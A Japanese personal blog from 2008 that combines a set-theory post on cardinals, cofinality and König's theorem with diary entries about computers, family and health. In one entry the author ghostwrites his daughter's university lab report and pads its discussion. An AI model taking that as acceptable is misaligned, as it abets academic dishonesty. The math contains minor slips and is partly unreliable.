良く知られているように $X,~Y$ を集合とするとき $|X|=|Y|$ という関係を $X$ と $Y$ の間に全単写が存在することとして「定義」し、 $X$ と $Y$ は濃度が等しいと呼ぶこととします。さらに $|X|~\leq~|Y|$ は $X$ から $Y$ への単射が存在する意味とします。この記法は良く使われますが、この時点では $|X|$ という対象式が定義されていないため便宜上のものです。 $Y$ から $X$ への全射が存在する場合、選択公理により $X$ から $Y$ への単射が存在するので $|X|~\le~|Y|$ が成り立ちます。上述の等号と不等号に関する推移性が成立することも明らかです。さらに任意の集合が整列可能であることにより、集合に与えた順序型を保つ $X$ から $Y$ もしくは $Y$ から $X$ への単射の存在が分かり $|X|~\le~|Y|$ または $|Y|~\le~|X|$ が成立します。さらに次のカントール・ベルンシュタインの定理、すなわち「 $|X|~\le~|Y|,~|Y|~\le~|X|$ ならば $X=Y$ 」が成立します。従って $|X|~\le~|Y|$ が全順序関係になることが分かります。 $X,Y$ が無限集合の場合 $|X|+|Y|~=~|X||Y|=\max\{|X|,|Y|\},~|X|<|2^{X}|$ が成立することは非常に良く知られているので、ここでは証明しません。
(C1.0.1 基数の定義) $\alpha$ を極限順序数とします。このとき $|\alpha|~=~\min\{\beta\,:\,~|\beta|=|\alpha|\}$ で定義します (定義が循環しているみたいですが、右辺の集合での条件は関係をあらわすということで)。そして $|\alpha|$ の形の順序数を基数と呼びます。一般の集合 $X$ に対しては、選択公理により $X$ に整列順序を導入します。そしてその順序型を $\alpha$ とするとき $|X|=|\alpha|$ と定義し $|X|$ を $X$ の基数と呼びます。この定義が $X$ に導入する順序型によらないことは明らかです。この定義により $|X|$ という記法が正当化されます。
(おまけ) 他の方法として、同一の濃度をもつ集合でランクが最小のもの全体としても定義することが可能です。Bourbakiの体系の $\tau$ 記号を使用するのならば、定義はもっと容易であり、 $|X|=|Y|$ を例えば $\mathrm{Eq}(X,Y)$ と表すことにしたとき $|X|~=~\tau_{Z}(\mathrm{Eq}(X,Z)).$
(C1.0.1 アレフの定義) 順序数 $\alpha$ に対する $\omega_\alpha$ を次のように定義します。

$\omega_0~=~\omega$
$\omega_{\alpha+1}~=~\{\beta~\,:\,~|\beta|~\le~|\omega_\alpha|\}$
$\omega_\alpha~=~\mathrm{sup}\{\omega_\beta~\,:\,\beta<\alpha\}~=\bigcup\{\omega_\beta~\,:\,\beta<\alpha\}~\qquad~(\lim(\alpha))$
任意の順序数 $\alpha$ に対し $\omega_\alpha$ は基数であり、さらに任意の基数はある順序数 $\alpha$ に対する $\omega_\alpha$ の形に表すことが可能です。実際次の事実が成立します。
(C1.0.2 命題)
(0) $\omega_\alpha$ は順序数
(1) $|\omega_\alpha|<|\omega_{\alpha+1}|$
(2) $\omega_\alpha$ は基数である
(3) $\omega_\alpha<\kappa<\omega_{\alpha+1}$ を満たす基数 $\kappa$ は存在しない
(証明) (0) は $\omega_\alpha$ の推移性を示せばよいが、それはほとんど明らかである。次に (1) (2) を同時に $\alpha$ に関する帰納法により証明する。 (1) はもし $|\omega_\alpha|~=~|\omega_{\alpha+1}|$ であったと仮定すると定義により $\omega_{\alpha+1}~\in~\omega_{\alpha+1}$ とり矛盾。 (2) はもし $\beta<\omega_{\alpha+1}$ とすると定義により $|\beta|~\le~\omega_\alpha$ もし $|\beta|=|\omega_{\alpha+1}|$ とすると $|\omega_{\alpha+1}|~\le~\omega_\alpha$ となり (1) に反する。(3) も容易である。
もちろん $\omega_{\alpha~+~1}$ として $\omega_\alpha$ より大きい最小の基数と定義することもできますが、具体性に欠けるのが難点です。私自身は上の定義が好きです。
慣習として $\omega_\alpha$ の順序数としての側面よりも基数としての側面を重視する場合それを $\aleph_\alpha$ と表します。 $\omega_\alpha~=~\aleph_\alpha$ なのですが演算の扱い等意味が異なる場合もあります。ただし上記の区別は余り厳密に行われない場合もあるので注意が必要です。
$\aleph_{\alpha+1}$ の形の基数を後続基数と呼び、そうでない基数を極限基数と呼びます。
(C1.1 Cofinality について)
極限順序数 $\alpha$ の共終数 (cofinality) の定義は次の通りです。
(C1.1.1 共終数の定義)
次の条件を満たす最小の $\gamma~\le~\alpha$ を $\alpha$ の共終数 (cofinality) と呼び $\gamma~=~\mathrm{cf}(\alpha)$ と書く。

順序数の増大列 $(\beta_\xi)_{\xi~<~\gamma}$ (ただし $\beta_\xi~<~\alpha$ ) が存在し $\lim_{\xi~\rightarrow~\gamma}~{\beta_\xi}~=~\alpha.$

次の命題は良く使われます。
(C1.1.2 命題) $\alpha$ を極限順序数とする。 $(\alpha_{\xi})_{\xi<\beta}$ を順序数の非減少列で次の条件を満たすものとする。

(1) 任意の $\xi~<\beta$ に対し $\alpha_\xi~<~\alpha$
(2) $\lim_{\xi~\rightarrow~\beta}{\alpha_\xi}~=~\alpha$

このとき $\mathrm{cf}(\beta)~=~\mathrm{cf}(\alpha).$
(証明) まず $\mathrm{cf}(\alpha)~\le~\mathrm{cf}(\beta)$ を証明する。 $\lim_{\eta~\rightarrow~\mathrm{cf}(\beta)}{\gamma_\eta}=~\beta$ を満たす増大列 $(\gamma_\eta)_{\eta<\mathrm{cf}(\beta)}$ を考える。このとき明らかに $\lim_{\eta~\rightarrow~\mathrm{cf}(\beta)}{\alpha_{\gamma_\eta}}=\alpha$ が成り立つので $\mathrm{cf}(\alpha)~\le~\mathrm{cf}(\beta)$ が成立する。次に $\mathrm{cf}(\beta)~\le~\mathrm{cf}(\alpha)$ を示す。 $\alpha=\lim_{\zeta~\rightarrow~\mathrm{cf}(\alpha)}{\gamma_\zeta}$ を満たす増大列 $(\gamma_\zeta)_{\zeta<\mathrm{cf}(\alpha)$ を考える。すると (C1.1.1) により、各 $\zeta~<~\mathrm{cf}(\alpha)$ に対し $\xi<\beta$ で $\gamma_\zeta~<~\alpha_\xi$ を満たすものが存在する。このような $\xi$ で $(\alpha_\mu)_{\mu~\le~\xi}$ を (真の) 増大列とする最小のものを $\xi(\zeta)$ と表すと $\lim_{\zeta~\rightarrow~\mathrm{cf}(\alpha)}{\xi(\zeta)}~=~\beta$ が成立するので $\mathrm{cf}(\beta)~\le~\mathrm{cf}(\alpha).$
(C1.1.3 系) $\alpha$ を極限順序数とするとき $\mathrm{cf}(\mathrm{cf}(\alpha))~=~\mathrm{cf}(\alpha).$
(証明) 実際 $\lim_{\xi~\to~\rm{cf}(\alpha)}{\alpha_\xi}~=~\alpha$ を満たす増大列 $(\alpha_\xi)_{\xi~<~\rm{cf}(\alpha)}$ が存在するので (C1.1.2) を適用すれば良い。
(C1.1.3 ケーニヒの定理) $I$ を空でない集合として $(\kappa_i)_{i~\in~I},\,~(\lambda_i)_{i~\in~I}$ を基数の族として、任意の $i~\in~I$ に対して $\kappa_i<\lambda_i$ が成立しているものとする。このとき $\sum_{i~\in~I}{\kappa_i}~<~\prod_{i\in~I}{\lambda_i}.$
(証明) $\lambda=\prod_{i\in~I}{\lambda_i}$ として適時積集合としての意味と基数の積としての意味を混用することとする。各 $i~\in~I$ に対し集合 $Z_i$ を $Z_i~\subset~\lambda,~\,~|Z_i|~=~\kappa_i$ となるものとする。このとき $\bigcup_{i~\in~I}{Z_i}~\neq~\lambda$ を示せば良い。 $P_i~=~\{f(i)~\,:\,~f~\in~Z_i~\}~\subset~\lambda_i$ とすると $|P_i|~\leq~|Z_i|~=~\kappa_i$ なので $P_i~\neq~\lambda_i$ である。従って任意の $i~\in~I$ に対し $f(i)~\in~\lambda_i~-~P_i$ を満たす $f~\in~\lambda$ が存在し $f~\notin~\bigcup_{i~\in~I}{Z_i}$ である。
(C1.1.4 系) $\kappa~<~\kappa^{\rm{cf}(\kappa)}$
(証明) $\sum_{\xi~<~\rm{cf}(\kappa)}{\kappa_\xi}~=~\kappa$ となる基数の列 $\kappa_\xi~<~\kappa$ を考えると $\kappa~=~\sum_{\xi~<~\rm{cf}(\kappa)}\kappa_\xi~<~~\prod_{\xi~<~\rm{cf}(\kappa)}\kappa~=~\kappa^{\rm{cf}(\kappa)}.$
(注意) 実はこの証明の「基数の列」を $\kappa$ が後続基数の場合に適用するには、次に記載するに後続基数が正則であることを使います。 $\kappa$ が極限基数の場合は共終数を定義する順序数の増大列の基数を使用すれば良いです。
(C1.1.5 系の系) $\kappa~<~\mathrm{cf}(2^\kappa).$
(証明) $\mathrm{cf}(2^\kappa)~\le~\kappa$ と仮定する。すると上の系と仮定により $2^\kappa~<~(2^\kappa)^{\mathrm{cf}(2^\kappa)}~\le~(2^\kappa)^\kappa=2^\kappa$ となり矛盾。
(C1.1.6 正則基数と特異基数)
基数 $\kappa$ が $\mathrm{cf}(\kappa)=\kappa$ を満たすとき正則基数と呼びます。正則でない基数を特異基数と呼びます。 $\aleph_\alpha~\aleph_\alpha~<~\aleph_{\alpha~+~1}$ なので $\aleph_{\alpha~+~1}$ 未満の順序数の増大列による、 $\aleph_{\alpha~+~1}$ 未満個の極限が $\aleph_{\alpha+1}$ になることはあり得ません。従って後続基数は正則基数です。正則な非可算極限基数を弱到達不可能基数と呼びます。弱到達不可能基数の存在の無矛盾性は ZFC から証明不可能です。基数 $\kappa$ が $\forall{\lambda}(\lambda~<~\kappa~\rightarrow~2^\lambda~<~\kappa)$ を満たすとき強極限と呼びます。例えば $\aleph_\omega$ 未満での (一般) 連続体仮説を仮定すれば $\aleph_\omega$ は強極限となります。強極限である弱到達不可能基数を (強) 到達不可能基数と呼びます。
(関連リンク)
2008年4月28日(月) 基数計算 (2回目基本の基本の準備 (2))
2008年5月28日(日) 基数計算 (3回目特異基数仮説のお話)
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2008年4月12日(土)

MacBookメモリー増設
一枚3,900円の2Gメモリーが二枚届いたので、早速交換しました。メモリー交換はへんてこドライバーの必要がないので、全く問題なく行うことができました。起動も問題なく行われ、「この Mac について」と「アクティビティモニタ」のスクリーンショットは横に貼りつけたとおりです。おうちの Mac では 4G のうち 3G しか使用できませんが「この Mac について」でメモリー4Gと表示されるのは実メモリー搭載量という意味なのでしょう。それより驚いたのが「アクティビティモニタ」の円グラフの下にも4G と表示されていることです。ところがよくよく「空き」の部分をみると丁度 3G バイト使用可能ということで帳尻が合います。
ということはもしかして使用量表示の円グラフは 3/4 分しか有効でないのでは (汗)
これではとっても不便です。ところがこちらもちょっと計算すると、円グラフ一回り 3G ということで帳尻が合っているようです。円グラフの下の 4G を 3G と思えば良いのです。一安心です。
メモリーが 2G から 3G に増えてもこの日記のねたになる程度で、精神衛生上の問題以外特によくなるわけではありません。趣味の円周率計算 (現在 CLN を使い一億桁) の桁数を増やす程度しか役に立たないかも知れません。それより困るのは、現在の黒マックはメモリー3G、ハードディスク250G というとんでもない大装備です。そして、おそらく将来に新しいのを購入する場合、スペックダウンは我慢できないと思います。ますます散財要素が増えてしまいました。困ったものです。
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2008年4月9日(水)

MacBookメモリー増設大作戦
おうちのMacBook (通称黒マック) は現在 1Gx2 のメモリーで動作しています。ところでちまたのうわさによると、最近メモリー価格の暴落が非常に激しいとのことなのです。ためしにいくつかお店を調べたところ、なんと
2Gバイトのメモリーが 3,900円
あわわわ、まさかこんなに安いとは思いませんでした。1Gのなんて一枚2,000 円切ってるではありませんか。おうちの黒マックに 2枚刺しても3Gまでしか使用できませんが、この価格ならば試しに二枚購入するのもありかも知れません。といいますかもうぽっちんしちゃいました。かなり怪しげなお店なので、ちゃんと動作するかはよく分からないのですが、だめもとということで。
現在メモリー不足で悩んでいるわけでないことは絶対に内緒です。
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2008年4月8日(火)

この時期多い集合論検索
例年この時期になると集合論の用語に関する検索が増えます。おそらく新大学生が数学の基礎としての集合論についての感触を調べているのだと思います。実際問題として「普通」の数学で使う「集合論」は、Zorn の補題程度までをおさえておけば大体大丈夫なのですが、そこからが本当に面白い部分というのがほんとの話です。ぜひぜひ参考文献を手にとり面白い部分を存分に楽しんで頂きたいと思います。
基数計算シリーズ一回目書いてます。一回目は今までの復習なのですが、まだ半分くらいです。少々のんびりしすぎているかも知れません。
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2008年4月3日(木)

つくば出張
今日と明日はつくば出張です。本年度もつくばのお客様の仕事がメインになりそうです。じまんになりますが、昨年の仕事が好評だったので、追加のお仕事を頂けたのです。これだけで半年間食べていけます。お客様は研究者なのですが、昔からプログラミングを通じて研究者のお手伝いをする仕事は相性が良く、お互い良い気分で仕事ができる場合が多いようです。もともと私自身研究者になりたかったということは何回か書きましたが、その辺りの大変さや、何をすれば喜んで頂けるかが分かるのが良いのかも知れません。事前の打ち合わせや仕様書以外のところで、本当にその方が実現したい部分のお手伝いを損得抜きで行うことが大切です。そこのところが分からないと研究者さまのお手伝いを円滑に行うのは難しいと思います。
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2008年3月31日(月)

本年度終了
今日は年度末です。本年度は、後半かなり息切れしましたが、仕事も数学もそれなり楽しめたと思います。来年度は本年度よりもう少し仕事の量を増やす予定です。不思議なもので、仕事が暇すぎるときは数学の勉強もあまりやる気がおきません。もちろん忙しすぎると時間がとれないので、適度に忙しい状況が最適なようです。本年度は 3月の中旬に目標の仕事が終わってしまい、最近さぼりにさぼってるのですが、それで数学がはかどるというわけではないのです。「明日出来ることは今日するな」という鏡家の家訓を考え直したほうが良いのかも知れません。
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2008年3月28日(金)

とってもお得なお買いもの
Saharon Shelah, Cardinal Arithmetic. 神様の本です。日本で買うとこんなに高いです。それはそうと、少しでも理解可能な部分があるのだろうか。大いなる問題点です。
(追記) あれれっ、米国でも値上がりしてる。追記を書いている時点で $412.00 です。このお値段ではとても購入できません。私が購入したときは $172.63 だったのです (すでにメールで伝票ももらっています)。それにしても小豆じゃああるまいし、どうしたのだろう。いずれにしてもとても儲かった気分です。
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2008年3月27日(木)

深みにはまる
特異基数問題に関する文献をいろいろ調べているのですが、恐ろしく奥が深いです。といいいますか pcf 理論そのものより、特異基数問題一般のほうが面白そうな感じがしてきたのです。
それはそうと、全然分かってないことを書くのは余り良くないのですが、 ${\aleph_{\omega}}^{\aleph_0}~<~\mathrm{max}\{\aleph_{\omega_4},~(2^{\aleph_0})^{+}\}$ に現れる謎の数値 4 の由来。どうやら club guessing sequence に対する良い性質が、非可算正則基数 $\lambda$ と $\lambda^{+}~<~{\kappa}$ を満たす正則基数 $\kappa$ に対する $E^{\kappa}_{\lambda}~=~\{\alpha<\kappa\,:\,~\mathrm{cf}(\alpha)=\lambda\}$ (これは $\kappa$ の定常集合となる) に対して成立することによるらしいです。そしてこの場合 $\lambda$ が非可算なので $\kappa~\ge~\aleph_3$ . そして 3 に 1 を加えた数が 4。たしかに pcf 理論自体、他の集合論の分野よりは単独で勉強しやすい感じはしますが、それにしても
「そんなに難しくはないはず」って本当ですか＞くるるさん
いずれにしても熱が冷めない早いうちに基数計算の初歩的な部分を書く予定です。最初はどうして $k^{\mathrm{cf}(\kappa)$ の値を知ることが基数計算の本質かあたりまでです。そしてその後特異基数仮説 (SCH) に言及し Silver の定理からだんだんと深みにはまる予定です。
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2008年3月26日(水)

(特異) 基数計算のサーヴェイ
Thomas Jechの Singular Cardinals And The PCF Theory (1995) による特異基数問題の歴史と pcf 理論 (こちらは証明もかなり詳しい) の解説が非常に分かりやすいです。この論文と Jech本をねたにして基数計算のお話を進める予定です。
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2008年3月24日(月)

(予告) 基数計算シリーズ
ずーっとさぼっている集合論雑記ですが、そろそろ何か書かないとまずいような気がしてきました。そこでしばらくの間、リハビリをかねて、基数の計算についてシリーズで書こうかなと考えています。基数の計算といっても、有限個の基数の加法と乗法に関しては自明なので、扱う対象はべき乗の計算となります。主に特異基数の計算に関する基本事項をまとめ、目標は pcf 理論の紹介です。残念ながら萌え萌えの文章を書くのは無理です。例のごとく参考文献の証明を追いかけるのが精いっぱいです。そこのところはご容赦の程を。
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2008年3月19日(水)

キーボードの電池力つきる
昨年の6月に購入して会社で使っている Apple Wireless Keyboard ですが、おまけとしてついてきた電池が切れかかっているようです。電池4本なので、頻繁に切れてしまっては困るのですが、よもやこれほど持つとは思いませんでした。これならば安物アルカリ電池でも 3ヶ月程度は大丈夫そうです。
それはそうと、以前にも書きましたが、会社では MacBook の前方にワイヤレスのキーボードとしらたまちゃんがあり、MacBook 本体は「すのこタン。」の上に乗っています。会社での作業中に本体に触れる必要がないので、余り汚れないという利点があります。そしてもう一つの大きな利点が。ちょっと想像して下さい。後方には「すのこタン。」に乗った MacBook。手前にはワイヤレスのキーボードとマウス。
完璧なコーヒー対策です。
万が一コーヒーをこぼした場合、キーボードとマウスに被害が及ぶ可能性は大ですが、MacBook 本体はツンデレ娘の上に乗ってるので、よほど派手に散乱させない限り安全なはずです。もちろんキーボードやしらたまちゃんがコーヒーまみれになってしまった場合の出費は小さくありませんが、本体が水没することに比べれば全然お気楽です。ただし机の上に散乱している、開発用のボードコンピューターがどうなるかは余り考えたくありません。
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2008年3月14日(金)

リンク
くるるさんの [書評] ゲーデルと20世紀の論理学　第四巻　集合論とプラトニズムがとても面白かったのでリンクします。私は発売直後に渕野先生が書かれた部分を割と真面目に (全部証明を追いかけて) 読みましたが、集合論の基本的な部分が分かりやすく、さらに十分過ぎるほどの厳密さと面白さで説明されており、感動的ともいえる素晴らしい体験でした。
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2008年3月9日(日)

宇宙の外は
突然モカちゃんが「宇宙の外はどうなっているの？」と聞いてきたのです。最近の研究によると、この宇宙の観測不可能な部分や、大量の宇宙等、いろいろな「外側」を考えることが可能なようです。ただし今回教えたいことは、宇宙の外側を考えること自体が無意味であるということです。
ところがこれが存外難しいのです。いまいち分かってもらえなかったような。
よくよく自分のことを考えると、たしかに、幾何学的実体の「外側」を考えなくても良いという考えは、もしかして、集合論、それとも線型代数、もうちょっと高級なところで多様体あたりを勉強して実感が湧いたような気がします。中学生には存外難しい考え方なのかも知れません。良い説明の仕方がありましたら教えていただけるとうれしいです。
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2008年3月3日(月)

生存報告
いつの間にか十日以上更新が滞ってしまいました。それなり書きたいことはあるのですが、実際に文章を書いて読み直すと気に入らず、そのままボツになってしまうことが多いのです。もしかするとこれは日記スランプという状況なのでしょうか。前にも書きましたが、一行でもよいので、毎日書くようにしたほうが好ましいのかも知れません。
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2008年2月21日(木)

リカーシブドリーム
生まれて初めて夢の中の自分が夢をみている夢をみました。しかも驚くほどリアル。夢の中の自分がみていた夢がとても気持ちよいものだったので、覚めないようにがんばったのですが覚めてしまい、もう一度夢に入ろうと試みても惜しいところで入れない。夢の中の自分が何度か努力しているうちに、本当に目が覚めてしまいました。
気持ちが良い夢と書きましたが、残念ながら H 系でも耳系でもありません。
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2008年2月14日(木)

チョコレート
今日はヴァレンタインディです。成果の方はおいとくとして、昨日のお話です。夜の 10時頃にモカちゃんが「パパー、コンビニに行く気ない？」と聞いてきたのです。もちろんこのような場合、何か買ってきて欲しいわけです。「買ってきてあげるけど何欲しいの？」と聞いたところ、板チョコを三枚ほど欲しいとのこと。本命チョコは二日ほど前に作ったはずなので、おそらく義理チョコの材料です。中学生を夜のコンビニなんかに行かせるわけにはいきません。私が買いに行くしかないのですが、2月13日の22時にチョコを買いに行くのですか？
なんとなく恥ずかしいです (笑)
ヴァレンタインディの前日、というか一週間くらい前から、チョコレートを買いにくい雰囲気です。そのように感じるのは私だけでしょうか？
引き受けてしまったものは仕方がありません。おそらく後ろ暗いことがないからでしょうが、実際お買いものに行くと、それほど恥ずかしい感覚もなく購入することができました。
二女からは宿題のお手伝いをしたご褒美にチョコをもらえることは確定しています。さらに、これだけ恩を売っておけば、モカちゃんからもチョコをもらえると思います。きっともらえます。たぶん (^^
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2008年2月10日(日)

耳
なにやら秋葉原の方に行くと、お姉さんが、ひざ枕で、耳のおそうじをしてくれる店があるそうな。さらに耳かきをしてもらうとき、目隠し状態にされるみたいなのです。
お姉さんのひざの上で目隠しされて耳かき
あ、耳って弱点なのに。
それでもお姉さんが単に萌え系というだけなら、楽しい三十分だったな、程度ですむかも知れません。問題はお姉さんがハイテク系の場合です。
じゃあ目隠しします
わくわく
始めますよ
どきどき
リラックスしてくださいね
ふう
こんなとこ
あ
もぞもぞ
ああ
ごそごそ
あああ
ぐにぐに
ああああ。つぎにあの辺をぐりぐりされたら
ぐりぐり
あ、そこは、だ、め
想像するだけで頭がぼんやりしてきます。ハイテクお姉さんのひざ枕で目隠しされて耳かき。妄想はふくらむばかりです。あんなことや、こんなこと。意識がもうろうとしてきます。ああ。だめ。
見苦しいすがたをさらしてしまいました。おわびいたします。冷静になりましょう。
冷静に
理性的に考えるといくつかの問題点があります。ああ、行きたい。ハイテク耳かきお姉さんのひざ枕。あんなことや、こんなこと。あれ、ちっとも理性的になっていません。冷静に。
運良くハイテク耳かきお姉さんに遭遇したと仮定します。うっとりして眠ってしまうかも知れません。さらにハイテク耳かきお姉さんのひざによだれをたらしてしまうかも知れません。気持ち良すぎて思わず声をあげてしまうかも知れません。ハイテク耳かきお姉さんに恥ずかしい姿を見られてしまいます。
ハイテク耳かきお姉さんに恥ずかしいすがたを見られている
萌えます。ところが、一般的にこのような状況で、不埒な行動を起こすやからが必ず存在します。従ってお店の方としても、つねに隠し監視カメラで状況を把握しているに違いありません。
関係ない男に見られている
萌えません。不愉快なだけです。
さらにそのヴィデオがネットに流出する可能性も否定できません。
世界中が私を見つめている
場合によっては萌え萌えな状況ですが、ハイテク耳かきお姉さんのひざによだれをたらしている姿を見られても萌えません。不愉快なだけです。
あまり心配しすぎると行くことができなくなってしまいます。それは困るので、いかなる状況でも見られることは快感を大きくすると仮定します。
次の問題点です。
二次元美少女に一時的な疑似恋愛感情を抱くことはそれほど不自然なことではありません。ハイテク耳かきお姉さんは三次元の実体です。あんなことや、こんなこと。とっても気持ちよくしてくれるのです。二次元美少女よりはるかに実在感があります。一時的に疑似恋愛感情を抱いても不思議はありません。そして、ちょっとしたきっかけで、疑似恋愛感情が本当の恋愛感情になってしまうかも知れません。愛する人に耳のおそうじをしてもらう。あんなことや、こんなこと。さらに気持ちよくなります。恋愛感情が高まります。快感が深まる。恋愛感情が高まる。さらに気持ちよくなる。一度、愛する人に耳そうじをしてもらう快感を覚えてしまうと、もう元には戻れません。ハイテク耳かきお姉さんの虜です。家庭のことも仕事のことも気にならなくなり、考えることはハイテク耳かきお姉さんのことだけ。もしかすると毎日ハイテク耳かきお姉さんに会うため、仕事をやめてしまうかもしれません。
現実にはこのように極端な状況に陥ることはないと考えるのが普通ですが、恋愛感情を抱くこと自体は、もちろん大きな萌え要素です。なにかに夢中になると歯止めがきかなくなる性格なので、十分注意する必要があります。さらにこの状況を世界中の人が見つめているのです。余り好ましいとは言えません。
心配ばかりしてると本当に行けなくなってしまいます。恋愛感情に関しては、二次元美少女と同様に、仮想世界で楽しむ程度に抑制可能であると仮定します。
最後の問題点です。
最後の問題点はさらに深刻なものです。誰でも知っているように、耳のおそうじをする場合、中がよごれた状態の方が気持ちがよいのです。二週間くらいたまった状態のとき、自分でおそうじをしてもぞくぞくするほどの快感です。不思議なもので片方がかゆくなってきておそうじを始めると、もう片方もやめることができなくなります。片方だけでやめてしまうのは拷問です。いじめです。
私はハイテク耳かきお姉さんにいじめられている
萌えます。あれ、耳のおそうじのことを妄想しながら書いていたら話がそれてしまいました。おわびもうしあげます。本題に戻ります。
何を考えていたかというと、そうそう、耳の中がよごれた状態は快感を深くするということです。自分でもあれほど気持ちがよいのですから、ハイテク耳かきお姉さんにおそうじしてもらう快感は想像できないほどです。我慢に我慢を重ね、極限までよごれた状態でハイテク耳かきお姉さんのところに行くのが最良の選択です。
でも恥ずかしい
この期におよんで恥ずかしいもなにもなく、さらに第一の問題点で指摘したように、恥ずかしさを萌え要素と考えることは可能かも知れません。でも、前の恥ずかしさとは何かが違う。萌えません。恥ずかしいだけ。事前か最中かの違いかも知れません。とはいえ、余りきれいな状態では快感が減ずるおそれがあります。その案配が非常に難しそうです。快感と恥ずかしさの板挟み。困りに困っています。耳をどの程度の状態にして行くべきか。悩みに悩みます。悩みすぎて夜も眠れません。
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2008年2月7日(木)

モカちゃん敗退する
モカちゃんは中学校でブラスバンド部に所属し、クラリネットのパートを担当しています。いまいち細かい経緯は聞いていないのですが、そんなモカちゃんに「星条旗よ永遠なれ」のピアノ演奏依頼があったそうな。
「パパ、今、ネットから楽譜をダウンロードしたけど、『星条旗よ永遠なれ』って知ってる？」
「アメリカ合衆国の国歌でしょ」
「じゃあホロヴィッツって知ってる？」
えっ、もしかして、モカちゃんは自ら敗退への道を歩んでいるのかな？
20世紀最高のピアニストの一人だったホロヴィッツ
恐ろしいテクニックを持っていたホロヴィッツ
ショパン、リスト、スクリャービン、ラフマニノフのぞくぞくするほど蠱惑的な演奏を残したホロヴィッツ
古典音楽の演奏解釈は上手でなかったホロヴィッツ
スカルラッティーの天国のような演奏を残したホロヴィッツ
ときに悪趣味に走ったホロヴィッツ
テクニックを誇示したがったホロヴィッツ
芸術と悪趣味のはざまでの演奏をしたホロヴィッツ
晩年壊れてしまいそうになったホロヴィッツ
復活して天上的な演奏を残してくれたホロヴィッツ
そう、ホロヴィッツです。
楽譜をみたところ案の定「ホロヴィッツ編曲」
モカちゃんへ
ホロヴィッツ編曲の「星条旗よ永遠なれ」は、彼の悪趣味と技巧誇示が集約されたものなのです。ホロヴィッツ自身が弾くためのものです。とても難しいはずです。
十分くらい楽譜をなぞった後のモカちゃんの言葉。
「こんなの弾けるわけない。連弾でも無理そう」
モカちゃん敗退のお話でした。
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2008年2月3日(日)

雪
久々に関東平野部でも積雪となりました。おうちは神奈川県藤沢市ですが、 10cm 位積もったでしょうか。やはり年に一度くらい積もるのは良いものです。今日は日曜日なので通勤に影響がないこともよろしい。
先週はなんと大学のレポートというものを書きました。二女が「明日」レポートの提出期限なのに何もやってない、こんなに書けない、徹夜しても間に合わない、とパニックに陥っていたのです。先日成人式に出席したばかりなのに、ちっとも大人になっていません。
もし留年されたりすると、こちらのお財布にも多大なる影響がでます。仕方なく現状調査したところ、今まで行った 8回の実験結果まではまとめてあり、あとは個々の結果に対する考察を書けばよいらしいのです。なるほどなるほど、それならば大丈夫。
結果から考察をでっちあげる能力は私の方がはるかに上です (笑)
さっそく作業分担ということで、私が書きやすそうな実験レポート 4つを受け取り作業開始です。ところがところが読み始めて本当の問題に気がつきました。重大な困難が潜んでいたのです。これは困ります。
実験結果が穴だらけです (笑)
いや、その、この結果から考察をでっちあげるのですか？そもそもどうしてこんな大量の穴があるのだろう。二女に問い詰めたところ、実習の時間切れでできなかった部分が穴になっていて、さらに実験中にうまく結果が得られなかったものもあるそうな。なるほど、それにらついてはそのむね記載すれば、大きな非難を受けることはなさそうです。なので、すべて実験の目標に対し真偽不明で押し通すことにしました。もちろん「真偽不明」一行のみではお話にならないのですが、そこはこの日記で鍛えた文章水増しのテクニックが役に立ちます(^^。
個々の実験結果の細かい部分にコメントをつけたり、参考文献 (教科書ですな) との相違についても考察をでっちあげたり、それなりレポートらしくなるように水増し作業を行い、結論はすべて「真偽不明」
もちろん科学的考察に対する極めて正しい態度です (笑)
二女が書いた残りの四枚と全く雰囲気が異なり、別の人に書いてもらったのがばれちゃうのは明白なのですが、内容的には問題ないと思います。先生につっこまれたときには「父に指導してもらった」とでも言えば、指導なのですから、こちらもなんとか逃げ切れると思います。
それにしてもこの年になり「食物学」の勉強をする羽目になるとは思いませんでした。でも一つだけ御利益があり、ケーキをおいしくつくる方法を覚えることができました (^^。
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2008年2月1日(金)

お誕生日
今日は私のお誕生日です。それだけ (^^。
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2008年1月29(火)

エルゴソフトパッケージソフト事業終了
こちらの情報によりますとパッケージソフト事業終了なのだそうです。あわわっ、egbridge Universal 2 なくなっちゃうんですか (汗)。もちろん Leopard で使っている分には問題ないのですが、今後の OS でいつまで動作するのだろう。もう「ことえり」には戻れない体なのに。
それでも私はがまんできます。「ことえり」でもなんとかなります。でも、でも、でも、たかたにさんが余りにもお気の毒。Mac 関連の受難が続きますなあ。
さらに egbridge Universal 2 については、私が無理やり買わせたような経緯もあります。反省してます。本当に反省してます。反省！
ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい (^^
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2008年1月23(木)

病院に行ってきました
脳の輪切りとか脳波の検査をしましたが、特に異常なしなのだそうな。あまり iPod を使いすぎないようにということでした。
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2008年1月22(火)

耳鳴りの原因らしきもの
えーっと、耳鳴りの件ですが、明後日病院に行ってきます。実を言いますと、私は大学四年の時にパニック障害をおこし、それからもともとだめだった数学が、集中すると心臓がぱにくる症状でさらにだめになったという前歴の持ち主なのです。かなりつらかったパニック障害自体は二年ほどで治まったのですが、それ以来精神安定剤 (現在 (セルシンx2 + デパスx2)/日) と縁を切ることができません。パニック障害以降やや血圧が高めなのを落ち着かせるためと、もはや 30年間飲み続け、無理に中断するとそれなり禁断症状 (このとき血圧が上がっている) があるので、まあこの年になりいまさら無理にやめなくても良いであろうということです。現在不眠症の症状はないのでどうでも良いのですが、本気で眠るために飲む場合、合計6錠位飲まないと効かない位の中毒です。
でもって電話で耳鳴りの件を通院している先生に話したところ、

その症状よくあるのですが老化現象ですよ。それよりヘッドフォン多用していませんか (汗)

わわわっ、いや、自分でも怪しいなと思ってはいたのですが、 iPod 購入後十日目頃からこの症状が。もちろん明後日の検査の結果を聞かないとわかりませんが、これは iPod の使用量を減らすしかなさそうです。
余談ですが耳鳴りがひどいときに劇的に効くのがセルシンまたはデパス (笑)。なので最近使用量がやや増え、合計で一日 6錠程度になっています。普通の人が飲んだら一日中眠り続ける量かも知れません。
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2008年1月19(土)

いろいろ
(二女のこと) 二女は今日と明日部活動 (チアリーディングなのです) の大会みたいなのがあるということで、仙台にでかけてゆきました。靴や着るものに対する認識がやや甘そうだったので、寒いよー、きっと雪も積もってるよ～、と少し驚かせておきました。
